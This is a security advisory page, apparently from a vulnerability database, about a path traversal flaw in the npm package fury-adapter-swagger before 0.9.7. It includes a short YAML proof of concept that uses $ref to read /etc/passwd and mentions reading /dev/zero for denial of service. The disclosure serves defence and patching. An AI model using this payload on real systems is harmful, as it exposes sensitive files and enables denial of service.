fury-adapter-swagger allows arbitrary file read from system

published 2020-09-01 6 y ago modified 2023-11-08 3 y ago also GHSA-2r7f-4h2c-5x73

cvss: 7.3; version 3.1, GitHub
cisa kev: Not listed; not in CISA's catalog
epss: —; no EPSS score yet
public exploits: 0; none known

`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.

## Proof of Concept:

```yaml --- swagger: '2.0' info: title: Read local files version: '1.0'

paths: /foo: get: responses: 200: description: Some description examples: text/html: example: $ref: '/etc/passwd' ```

## Recommendation

Upgrade to version 0.9.7 or later.

Patch / fix

fixed in 1 links 3

npm fury-adapter-swagger 0.9.7

github.com/apiaryio/fury-adapter-swagger@777e2d6 commit
github.com/apiaryio/fury-adapter-swagger@f4407e3 commit
github.com/apiaryio/fury-adapter-swagger#89 pull request

CVSS scores

assigned by	version	score	vector
GitHub	3.1	7.3	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Affected packages

ecosystem	package	affected	fixed in
npm	fury-adapter-swagger	>=0.2.0, <0.9.7	0.9.7

Classification

Weakness

CWE-22 Improper Limitation of a Pathname to a Restricted Directory

References

Sources

GitHub Advisory GHSA-2r7f-4h2c-5x73

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.

Summary